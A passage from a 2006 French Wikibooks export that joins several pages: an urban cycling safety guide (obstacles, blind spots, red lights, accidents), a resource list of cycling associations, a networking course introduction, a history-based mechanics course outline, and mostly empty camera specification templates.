les voitures de te doubler par manque de place : ne laisse pas l'impatience (infantile ?) des autres te mettre en danger. == Obstacles == on peut très bien manoeuvrer en vélo mais seulement si on maintient son équilibre, sinon, chute. Des défauts de la chaussée sont souvent la cause de cette chute, c'est le principal risque pour le cycliste. Apprendre à bien identifier les situations qui peuvent provoquer une perte d'équilibre ou une chute et à les éviter te permettras de rouler plus sûrement. surfaces glissantes ou non-stabilisées : gravillons, neige, verglas, feuilles, herbe coupée, tâches d'huile, plaque d'égout mouillée, plaque de fer placée temporairement pour recouvrir une tranchée, marques au sol : à éviter ou si c'est pas possible, les aborder avec précaution : ne pas tourner, freiner ou accélérer. rails de tramways, rebord de trottoirs : à prendre à angle droit et en tout cas éviter attaque trop tangentielle. vérifier si voie est libre avant manoeuvre (coup d'oeil par dessus l'épaule) grilles d'évacuation d'eau : mieux vaut les éviter : la roue avant peut se bloquer dedans et provoquer votre éjection du vélo. les grilles repérées comme dangereuses doivent être signalées pour permettre leur changement. cailloux, bosses, nid de poule : provoque choque, peut endommager les roues éviter en tournant rapidement le guidon juste avant l'obstacle, puis en rétablissant sa trajectoire juste après l'obstacle. bien vérifier si la voie est libre avant de faire la manoeuvre. Avant de dépasser un véhicule plus lent ou d'éviter un obstacle au bord droit de la route (chantier, auto parquée), jeter un coup d'œil en arrière pour s'assurer que l'on peut se déplacer vers le milieu de la chaussée sans être mis en danger par des véhicules qui suivent. Après cela, donner un signe de la main et dépasser le véhicule ou éviter l'obstacle. pouvoir changer rapidement de direction : demande de l'entraînement sur un parking : apprendre sur espace dégagé en augmentant progressivement la vitesse. pour éviter un obstacle : voitures débouchant sur votre voie, voitures vous coupant la route pour tourner à droite... par exemple, si une voiture déboule juste devant vous d'une rue sur la droite, engouffrez-vous dans cette rue, en tournant rapidement sur la droite, derrière la voiture. Si c'est trop tard, tournez à gauche parallèlement à la trajectoire de la voiture. pour tourner rapidement sur la droite, il faut d'abord donner un rapide coup de guidon vers la gauche pour amorcer votre trajectoire sur la droite : question d'équilibre : le vélo dessous vous se déplace vers la gauche tandis que votre corps aura tendance à pencher vers la droite, suivi rapidement par le vélo. même si vous n'arrivez pas à éviter la voiture, le plus vous serez parallèle à elle, le moins violent sera l'impact. utile également dans un virage pris trop rapidement : pour reprendre une trajectoire qui évite une sortie de route, donner un petit coup de guidon vers l'extérieur de la courbe pour retrouver une trajectoire plus raide. obstacles, comme un nid de poule, que l'on peut éviter, au dernier moment, en sautant : pédales à l'horizontale, se ramasser, tirer sur le guidon (pour soulever roue avant), sauter, plier les jambes (pour soulever roue arrière) : selon la vitesse, cela permet d'éviter un plus ou moins long obstacle. L'usage de pédales automatiques ou de cale-pieds permet plus facilement de lever la roue arrière, mais lever celle de l'avant permet déjà de limiter les dégâts et d'éviter un crash. éviter écarts brusques qui peuvent surprendre les autres usagers == Cas des feux qui ne passent au vert qu'après détection d'un véhicule == Certain ne prennent pas en compte les vélos : alerter autorité pour que ça change. En attendant, si une voiture n'arrive pas pour déclencher le feu vert, vous pouvez traverser prudemment, rien ne pourra vous être reproché, le feu étant défaillant ! == Bouchons == en vélo, on n'est généralement pas stoppé par les bouchons, un des avantage de ce mode de transport. Mais attention à rester prudent ! les véhicules immobilisés dans un bouchon présentent les mêmes risques que ceux garés ou à l'arrêt sur le bord d'une voie : porte ouverte, angle mort, arrêt et démarrages non prévisibles. donc remonter la circulation très prudemment, les mains sur les leviers de frein. attention aux véhicules qui "déboîteraient" rapidement pour s'extraire du bouchon, en passant sur la voie de gauche, l'accotement, le trottoir ou des emplacements de stationnement. regarder les roues avant des véhicules pour prévoir direction possible des véhicules. si un doute, alertez les autres usagers de votre présence. si traffic bloqué mais avec espace entre véhicules, d'autres usagers coupant la route peuvent s'y engouffrer : piétons, autres deux-roues, voitures. attention donc, surtout si vous dépasser un camion ou bus avec aucune visibilité de ce qui passe devant. == trottoirs et pistes cyclables == les trottoirs pas endroit sûrs pour vélo : pas de voiture mais beaucoup d'autres dangers, donc à éviter dans la mesure du possible. trottoirs, souvent étroits donc peu de visibilité pour vous et les autres, surtout si arbres, voitures garées, portes cochères, kiosques, etc... peu de place aussi pour éviter obstacle. les piétons et animaux, imprévisibles quant à leurs trajectoire. prévenir les usagers de votre présence : voix, sonnette, bruit du vélo, contact visuel. De plus, les voitures se trouvent souvent sur trottoir : quand allée, entrée de garage, voie privée. Quand vous descendez du trottoir pour traverser une rue, vous vous retrouvez également dans la circulation, sans être vraiment prévu par les autres usagers. donc être très vigilant, rouler lentement quand sur trottoir. pour pistes cyclables, attention aux autres usagers, légaux ou non, aux voitures garées et surtout, aux intersections, où de grands risques vous attendent généralement. les pistes cyclables, pas adaptée pour rouler vite, plus pour promenade. == Angles morts == on domine généralement la circulation car position haute permettant de voir au-dessus des voitures basses. Mais attention aux véhicules plus hauts : 4x4, camionnette, bus, camion. Avec ces véhicules, vous avez une portion mouvante de l'espace qui vous est caché. par exemple, vous voulez tourner à gauche, il y a deux voies venant de face à traverser. indiquant votre intention, l'unique véhicule arrivant en face, sur voie la plus proche de vous, un camion, vous laisse le passage. êtes-vous en sécurité pour tourner ? Non ! derrière le camion, une voiture peut arriver rapidement sans que vous, ni elle, ne puissiez vous voir l'un l'autre. == Quand on vous dit qu'il faudrait toujours faire comme si personne ne vous voyait : en fait il faut toujours faire en sorte que l'on vous voit ! == établir contact visuel pour être sûr que les autres usagers vous ont vu : si un automobiliste débouche d'une rue à votre droite, regardez-le à travers le pare-brise ou la vitre de la portière : s'il ne vous regarde pas, redoublez de prudence, même si vous avez la priorité, même si sa voiture est à l'arrêt. Ralentir, signaler sa présence. ne passer qu'en étant sûr que l'automobiliste vous a vu. == Les feux rouges == === Pourquoi les respecter ? === * Éviter une éventuelle amende ! * Prendre moins de risque, même si en vélo on peut plus facilement éviter les autres usagers * augmenter la bonne réputation de l'ensemble des cyclistes : on est vu comme responsable, usager régulier de la route respectueux des règles communes * ça laisse le temps de reprendre son souffle, regarder le paysage * Essaie de respecter les feux, c'est vraiment gênant ? === Détecteur de véhicule === Il peut arriver qu'un feu équipé d'un détecteur de véhicule ne détecte pas ton vélo : tu peux attendre qu'une voiture arrive pour déclencher le feux vert ou t'engager prudemment. Le plus important est de signaler ce dysfonctionnement aux associations et aux autorités : un bon système de détection doit prendre en compte tous les usagers de la route ! == chauffard == quand un automobiliste tente de couper votre priorité (arrivant en face et voulant tourner à sa gauche, arrivant de droite avec un stop ou un céder le passage) en vous intimidant : menaçant de le faire en avançant lentement. Généralement, pas un grand danger, en vélo, vous pouvez facilement vous arrêter en freinant fermement, éviter une collision en changeant de trajectoire. Ainsi, dans ce cas, en restant vigilant, ne vous arrêter pas de pédaler, placer vous bien dans la voie et continuer votre chemin. juger quand il vous serait nécessaire de vous arrêter au cas où l'automobiliste passe quand même, pour éviter sa trajectoire. face à son bluff, bluffer le à votre tour pour affirmer votre droit d'usager de la route au même titre que lui. si un conducteur de véhicule immatriculé tente, par inadvertance ou intentionnellement, de vous mettre en danger, vous avez la possibilité de noter son numéro d'immatriculation, le type de véhicule, si c'est un véhicule commercial, l'entreprise employeur. ce sera utile pour déposer plainte, signaler à l'employeur ou au autorité le comportement dangereux du conducteur. == à plusieurs == rappel code en France : à deux de front, c'est permis mais laisser la place quand la circulation l'exige. avoir un rétro pour se rabattre dès qu'une voiture arrive. ne jamais être à deux de front juste après haut de côte ou qd virage : un véhicule peut arriver rapidement en vous voyant au dernier moment. distance pour doubler : valable quand on double un autre vélo (on peut dire bonjour en même temps !) et toujours par la gauche ! doubler par la droite obligera l'autre vélo à se déporter rapidement sur la gauche et donc se mettre en danger. trajectoire droite, quand plusieurs vélos : pour éviter collisions. plus distance de sécurité, de tous côtés. pour carrefour, changement de voie, faire comme si on était seul, ne pas suivre aveuglément le vélo devant vous. quand vous êtes plusieurs à la queu-leu-leu, le premier doit informer les autres des obstacles : surface de la route dangereuse, changement de l'accotement == Que faire en cas d'accident ? == La première chose à faire, pour vous et d'autres éventuelles victimes, c'est de s'occuper des blessures, alerter les secours (d'un portable : 112) en précisant bien lieu de l'accident, de faire constater et diagnostiquer éventuelles blessures : attention, pas toujours visible tout de suite. Avant de reprendre le vélo, vérifier son état en détail : cadre, roues en particulier Le plus souvent, vous serez le seul concerné par un accident à vélo : chute, glissade, choc, dû à perte d'équilibre, obstacle ou surface dangereuse sur la route : accident préventible avec une meilleure habilité et vigilance de votre part. Mais si d'autres personnes sont concernées par l'accident, après s'être occupé des aspects médicaux pour chacun, il faut rassembler le plus d'info : noms , assurance des protagoniste, constat à l'amiable, noms et coordonnées de témoins. en cas de fuite d'un des protagoniste, ou de conflit, pensez à relevez les numéros d'immatriculation, relevez les identités et coordonnées de témoins. En tant que cycliste, vous êtes couverts par votre assurance responsabilité civile, mais vous pouvez également souscrire une assurance spéciale en complément. En ce qui concerne les dommages tant physique que matériel, garder à l'esprit que vous le les découvrirez que plus tard. Si pas d'accord sur origine de la faute, demander l'aide des services de police ou de gendarmerie et vérifiez que votre version des faits est bien enregistrée. défendez vos droits d'usagers de la route face à des policiers ou agents d'assurance peu sensibles à la cause des cyclistes : dans ce sens, ne jamais laisser entendre que vous pourriez être fautif, ne jamais dire que tout va bien pour vous et votre vélo (blessures et dommages peuvent n'être remarqué que plus tard). == Comment améliorer les relations entre cyclistes et automobilistes ? == avoir une trajectoire prévisible pour les automobilistes, respecter code de la route : donner image responsable communiquer : signaler changement de direction, intentions, remercier d'un geste, établir contact visuel, sourire, faire la grimace Il y aura toujours des chauffards décrétant que le vélo n'a rien a faire sur la route, surtout quand il est devant lui : coup de klaxon, accélération intimidatrice, doublement serré, insultes... Ne vous laissez pas intimider : garder la place qui vous revient dans la circulation, ne répondez pas à la provocation inutilement mais faite preuve de pédagogie et de patience avec ses personnes si arriérées et souvent énervés par les difficultés de la circulation automobile en ville : montrez-leur que le vélo rend gai et détendu ! plus il y aura de cyclistes, et de bonnes pratiques de leurs parts, plus les automobilistes comprendront qu'il faut partager la route. De bonnes pratiques, cela signifie qu'en vélo on doit respecter le code de la route, notamment aux intersections, avec les feux de circulation, les priorités. être exemplaire, chacun agit pour l'image de l'ensemble des cyclistes. Plus il y aura de vélo, plus la circulation sera fluide (un vélo prend beaucoup moins de place qu'une voiture) pour le bénéfice... des voitures restantes. Bien connaître les situations à risque pour pouvoir les anticiper, réagir rapidement. rester courtois et respectueux des autres usagers de la route, pour éviter les tensions, mais revendiquer votre place comme la loi l'autorise et les règles de sécurité le préconise. == L'essentiel == Toujours prévoir une trajectoire alternative utilisable en cas de difficulté. Faire preuve d'anticipation pour éviter l'accident. Être sûr qu'on t'a vu en établissant un contact visuel (regarder dans les yeux) avec les autres usagers. [[Guide du vélo en ville/Roulez sous la pluie, dans l'obscurité|<< Roulez sous la pluie, dans l'obscurité]] | Comment se sortir de toutes les situations difficiles ? | [[Guide du vélo en ville/En savoir plus|En savoir plus >>]] Combinaisons des consonnes (gujarati) 8497 43734 2006-06-02T02:26:15Z 81.49.145.160 l'amour n'est qu'un rêve éphémère Guide du vélo en ville/En savoir plus 8498 45359 2006-06-22T07:21:30Z Fabrice 1558 /* Sur la Toile */ {{ébauche}} Ce livre se veut la somme d'avis, d'expériences divers. N'hésite donc pas à participer à sa rédaction collective en cliquant sur "modifier". Si certains conseils, points de vue paraissent inconciliables, opposés, merci des les ajouter en l'indiquant et d'en dire un peu plus en modifiant la page de "discussion" rattachée à cette page. == Des livres == À vélo, guide de bonne conduite, FUBicy, 1999 Argumentaire pour le vélo en ville, Les dossiers du vélo urbain, FUBicy/IFRESI-CNRS Guide juridique pour les cyclistes verbalisés, Les dossiers du vélo urbain, FUBicy revue Vélocité, bimestrielle, éditée par la FUBicy == Sur la Toile == www.fubicy.org sur le site de la Fubicy, pages ressources sur le vélo en ville www.pignonsurrue.org site de la maison du vélo de Lyon où on trouve de nombreux articles consacrés à la sécurité des cyclistes Le site de Bikefix, atelier de réparation londonien, qui offre de nombreux conseils sur la page "inner_city_cycling" (à retrouver) info@bikefix.co.uk http://perso.orange.fr/velo/index.htm : un site plein de ressources pour parler de sécurité en vélo == Des associations, organismes == Les conseils donnés dans ce livre te permettront de rouler en sécurité, mais le plaidoyer des associations pour des rues mieux adaptées à l'ensemble des usagers est plus que nécessaire. FUBicy, Fédération française des usagers de la bicyclette, 4 rue Brûlée, 67000 Strasbourg www.fubicy.org fubicy@fubicy.org Crée en 1980, association réunissant les associations françaises de cyclistes urbains Pro vélo, association bruxelloise, Maison des cyclistes, 15 rue de Londres 1050 Bruxelles www.provelo.org l.coveliers@provelo.org Pignon sur rue, 10 rue St-Polycarpe, 69001 Lyon : avec un Centre de documentation, des rencontres, www.pignonsurrue.org documentation@pignonsurrue.org == Vélo-école == Développée par des associations de cyclistes, les vélo-écoles peuvent prendre différentes formes et s'adressent aux cyclistes qui désirent renforcer leur capacité à rouler dans la circulation urbaine donner confiance, rassurer ceux qui veulent se lancer mais ont encore une appréhension. Lyon, par l'association La Ville à vélo, veloecole@pignonsurrue.org [[Guide du vélo en ville/Comment se sortir de toutes les situations difficiles ?|<< Comment se sortir de toutes les situations difficiles ?]] | En savoir plus | [[Guide du vélo en ville/Annexe 1: prévenir le vol|Annexe 1: prévenir le vol >>]] Image:Computerpcessentialsuser.gif 8500 43764 2006-06-02T16:24:10Z Carnops 1287 My win 95/98 essential certificcation from brainbench.com My win 95/98 essential certificcation from brainbench.com Image:Cisconetworksupportengineer.gif 8501 43766 2006-06-02T16:49:46Z Carnops 1287 Brainbench Network support certification Brainbench Network support certification Wikimodule:Introduction aux réseaux 8502 44176 2006-06-08T14:12:15Z 81.246.223.156 /* Présentation du module : Introduction aux réseaux */ {{wikimodule:Introduction aux réseaux}} {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikimodule:Introduction aux réseaux|Introduction aux réseaux]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikilicence_informatique/Wikimodules|Wikilicence d'informatique]]'' |- | style="text-align:center;background:#E0E0F0;" | ''[[Wikiversité:Département informatique|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Wikilicence d'informatique]] |- | bgcolor="#E0E0F0" align="center" |''' Wikimodule''' |- | bgcolor="white" | *<small>[[Wikimodule:Introduction aux réseaux|Présentation]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Programme|Programme]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Contenu|Contenu]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Ressources|Les ressources du module]]</small> *<small>[[Wikimodule:Introduction aux réseaux/Wikitudiants|Liste des Wikitudiants<br/>du module ]]</small> |- | align="right" bgcolor="white" | |} ==Présentation du module : Introduction aux réseaux== Ce cours a pour objectif de vous donner les notions indispensable pour une bonne compréhension des réseaux. A la fin de ce module vous devez être capable d'expliquer ce qu'est un réseau, de quoi il se compose, comment des ordinateurs peuvent communiquer entre eux, décrire les différents types de médias, décrire les équipements réseaux et leur mode de fonctionnement. Vous devrez en outre être capable de mettre en oeuvre un réseau LAN basique. Il est indispensable d'y travailler régulièrement, sans quoi vous seriez rapidement perdu. Pour une bonne compréhension, la manipulation réelle sur du matériel est recommandée. ==Wikimodule en cours de développement == Attention le module n'est pas encore finalisé. D'ailleurs le cours n'est pas encore terminé. Par contre, ce document a pour objectif de proposer un cadre de gestion des wikitudiants. Un wikietudiant voulant profiter d'une interaction avec un wikiprof doit s'inscrire et remplir la fiche de suivi. Le wikiprof suit alors sa progression et répond aux questions. Le wikitudiant rendra ses devoirs au wikiprof qui donnera son appréciation. Il faudra rajouter le concept de wikidevoirs, à faire en temps limité et sans document qui seront également notés par le wikiprof.<br/> ETAT DU MODULE : NON OUVERT == Quantité de travail à fournir == Chaque semaine de travail correspond à un travail d'environ 2 heures par semaine. ==Inscription au wikimodule == Chaque wikitudiant voulant suivre ce wikimodule doit s'inscrire et créer une page selon le modèle [[Wikimodule:Introduction aux réseaux:Etudiant_toto|Wikimodule:Introduction aux réseaux:Etudiant_toto]]. Image:Courbe fonction inverse.png 8503 43779 2006-06-02T21:25:33Z WikiC 1349 Courbe représentative de la fonction inverse. Auteur : WikiC {{CC-BY-SA}} Courbe représentative de la fonction inverse. Auteur : WikiC {{CC-BY-SA}} Image:Fonction avec asymptote oblique.png 8504 43783 2006-06-02T22:51:47Z WikiC 1349 Courbe représentative de la fonction f(x) = 1/x + x. Auteur : WikiC {{CC-BY-SA}} Courbe représentative de la fonction f(x) = 1/x + x. Auteur : WikiC {{CC-BY-SA}} Mécanique , enseignée via l'histoire des sciences 8517 46642 2006-07-01T10:34:16Z Guerinsylvie 928 /* Résumé */ Ebauche Préface Ce cours présente des éléments de mécanique , enseignés au plus près de l'histoire des sciences, et conduisant du Deug à la licence. Elle est le contre-pied d'une physique for dummies.<!-- ? --> Beaucoup d'exercices corrigés suivront chaque leçon. Ces exercices font partie intégrante du cours. Ils sont là pour illustrer le principe Shadok suivant : Pourquoi faire compliqué quand on peut faire simple ? La réponse est : quand une théorie est juste , '''TOUT ce qui s'en déduit''' doit mener à des conclusions auto-cohérentes. La plupart du temps, c'est en confrontant la théorie à ses propres contradictions par des gedanken-experiments que l'on est amené à la récuser : par exemple, Einstein raisonnait souvent ainsi, mais bien d'autres avant lui.On forme ainsi ce qui est le plus important en physique : contre le raisonnement spontané, on parvient à une intuition éduquée, ce qui est un des principes formateurs en science : La science affouille, bafouille, cafffouille Clairement, elle progresse donc rouille, mi-fière , mi-arsouille, on le confesse. Introduction Historiquement, la mécanique ne sort pas ex nihilo de la tête d'un mécanicien génial. Les années ont permis de dégager l'essentiel ; mais on peut dire qu'à la fin du XVIIème siècle , on comprend que les phénomènes terrestres et l'astrophysique se déduisent des mêmes principes et des mêmes lois ; dès lors, la mécanique ( science des mouvements) prend son envol grâce au travail gigantesque de [[Isaac Newton |Newton]] (1642-1725)qui publie ses [[Principia]] en 1687. Il lui faut bien sûr comprendre-inventer le calcul différentiel et intégral ( en anglais : le calculus). #La science qui décrit le mouvement s'appelle la Cinématique. En caricaturant , c'est de la gémétrie + du temps ( Il Saggiatore de Galilée : nul n'entre ici s'il n'a une âme de géomètre. Elle sera plutôt la première partie du cours (on excepte la dynamique du choc : lois empiriques de Huygens(1619-1695)). #La science qui décrit comment les forces se compensent pour atteindre un état de non-mouvement s'appelle la Statique. #Enfin, la Dynamique explique comment la description des forces permet de les interpréter comme les Causes du mouvement. Néanmoins le parcours tortueux d'une science n'est pas celui-là ! Il y a résistance intellectuelle à toute théorie nouvelle assez audacieuse, belle mais souvent gedanken plus que réaliste : il y a donc un TEMPS de RECEPTION de la théorie : La vérité finit toujours par triompher... ( Jan Hus , brûlé vif en 1415, mort cette année-là) Quand ses contradicteurs sont tous morts ( Planck(1858-1947)). Autant dire, que nous faisons notre cet aphorisme de Faraday(1791-1867): Ne crois que ce que tu peux vérifier. Sinon, reste sceptique et éveillé. ____________________________________________ == Leçon : la chute libre verticale des corps == === Expérience=== cf MecaVhistsc, la chute libre ===Résumé=== La loi de la chute libre verticale est : {{exemple|Enoncé-simplifié|loi de Galilée(1564-1642)|<math> \frac {d^2z}{dt^2} = g +(CI :(0,0) <=> v : = \frac{dz}{dt} = gt+0 <=> z =\frac{1}{2}gt^2 +0t+0 <=> v^2 = 2gz</math>}} Sans perte de généralité. On peut remonter aux CI( Conditions Initiales) générales:(Zo,Vo) : <math>z(t) = z =\frac{1}{2}gt^2 + V_0t + Z_0</math> ===Exercices === cf MecaVhistsc ====Exercices, deuxième série==== cf mecaVhistsc === Solutions === cf MecaVhistsc == Leçon : le choc frontal : lois de Huygens(1619-1695) == cf MecaVhistsc, le choc frontal === Introduction et notation === === Expérience princeps === === Expérience m1 =3m et m2=m === === Généralisation=== === Exercice de TP-cours === === Chocs inélastiques === ===Résumé=== {{exemple|Enoncé-simplifié|loi de Huygens(1619-1695)|<math> dans R^* , [P ; -P]_{before}^* = [-P ; P]_{after}^* </math>}} Si le choc est non -élastique, Loi de Newton : remplacer after[-eP ; eP] avec e coefficient de restitution (inférieur à 1) _______________________________ ===Exercices=== === Exercices deuxième série === === Solutions === __________________________________________________________________________________________________________________________________________________________ == Leçon : la chute libre, avec vitesse initiale== Reprendre dans la wikipedia , l'article sur [[parabole de sûreté]] cf MecaVhistsc, la chute libre, avec vitesse initiale ===Loi de chute=== ====Démonstration ==== ===Résumé=== {{exemple|Enoncé|loi de Galilée-Torricelli|<math> \vec{OM} = \frac{1}{2} \vec {g} t^2 + \vec {V_0} t </math>}} {{exemple|Enoncé|Parabole de sûreté de Torricelli(1608-1647) |<math> OP = 2OH/(1+\cos\theta); OH := \frac{V_0^2}{2g}</math>}} ===Exercices === ===Solutions === ==Leçon : chute ralentie le long d'un plan incliné== cf mecaVhist, la chute ralentie, plan incliné ===Résumé=== {{exemple|Enoncé|loi des cordes de Galilée(1564-1642)|<math> g(\alpha) = g \cdot \sin(\alpha) </math>}} == Leçon : la notion de diagramme horaire == reprendre l'article de la wikipedia sur [[diagramme horaire]] : beaucoup d'exemples y sont traités. cf MecaVhistsc, diagramme horaire === Résumé === {{exemple|Enoncé|loi de Torricelli(1608-1647),notation moderne|<math> \vec{V}(t)= \vec{f}(t) <=> \vec{OM}(t)= \int_0^t \vec{f}(u)du </math>}} == Leçon : diagramme des espaces; plan de phase == reprendre l'article de la wikipedia sur [[diagramme des espaces ]] === Résumé === {{exemple|Enoncé|loi de Torricelli(1609-1647), notation moderne|<math> V(x):= \frac{dx}{dt} = g(x) <=> t = \int_0^x \frac{1}{g(u)} du</math>}} Et aussi {{exemple|Enoncé|2eme loi de Torricelli(1609-1647), notation moderne|<math> V(x):= \frac{dx}{dt} = g(x) <=> \frac{1}{2}V^2(x) + (-1) \cdot\int_0^x g(\xi) d\xi = cste</math>}} Photographie - 40 - Ricoh 8523 43931 2006-06-06T00:13:46Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_40}} == Appareils compacts numériques == === Ricoh 400 G Wide (année ?) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>--- •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Ricoh Caplio GX8 (année ?) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>--- •&nbsp;<font color=grey>Capteur : </font>--- •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} === Ricoh Caplio 500 G Wide (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>appareil compact protégé contre l'eau, le sable, les poussières, avec une coque antichocs •&nbsp;<font color=grey>Capteur : </font>8 Mp •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>--- •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>--- •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>--- •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>--- •&nbsp;<font color=grey>Poids : </font>--- •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>--- •&nbsp;<font color=grey>Remarques : </font>--- |- |} Photographie - 40 - BenQ 8524 43932 2006-06-06T00:14:05Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_40}} == Appareils compacts numériques == === BenQ DC X600 (2006) === {| border="1" cellspacing="0" cellpadding="4" |- |<gallery> <---galerie à supprimer après chargement d'une photo---> Image:Image help.png|Image souhaitée </gallery> [[Image|240px|center]] |'''Caractéristiques :''' •<font color=grey>&nbsp;Type d'appareil : </font>appareil ultra-compact •&nbsp;<font color=grey>Capteur : </font>6 Mp •&nbsp;<font color=grey>Définition maxi : </font>--- •&nbsp;<font color=grey>Formats de fichiers : </font>--- •&nbsp;<font color=grey>Mémoire interne : </font>--- •&nbsp;<font color=grey>Cartes-mémoires : </font>--- •&nbsp;<font color=grey>Objectif : </font>zoom Pentax 6,2-18,6 f/2,7-5,2 •&nbsp;<font color=grey>Équivalent 24x36 : </font>--- •&nbsp;<font color=grey>Zoom numérique : </font>--- •&nbsp;<font color=grey>Diaphragme : </font>--- •&nbsp;<font color=grey>Viseur : </font>--- •&nbsp;<font color=grey>Écran : </font>ACL 6,4 cm •&nbsp;<font color=grey>Modes : </font>--- •&nbsp;<font color=grey>Mise au point : </font>--- •&nbsp;<font color=grey>Obturateur : </font>de 4 s à 1/2000 s •&nbsp;<font color=grey>Retardateur : </font>--- •&nbsp;<font color=grey>Commande de l'exposition : </font>--- •&nbsp;<font color=grey>Correction d'exposition : </font>--- •&nbsp;<font color=grey>Sensibilité du capteur : </font>--- •&nbsp;<font color=grey>Mémorisation de la mesure : </font>--- •&nbsp;<font color=grey>Balance des blancs : </font>--- •&nbsp;<font color=grey>Prise de flash extérieur : </font>--- •&nbsp;<font color=grey>Flash intégré : </font>--- •&nbsp;<font color=grey>Connexions : </font>--- •&nbsp;<font color=grey>Compatibilité DPOF : </font>--- •&nbsp;<font color=grey>Alimentation : </font>--- •&nbsp;<font color=grey>Dimensions : </font>86x54x19 mm •&nbsp;<font color=grey>Poids : </font>130 g •&nbsp;<font color=grey>Accessoires : </font>--- •&nbsp;<font color=grey>Prix : </font>280 € •&nbsp;<font color=grey>Remarques : </font>--- |- |} === 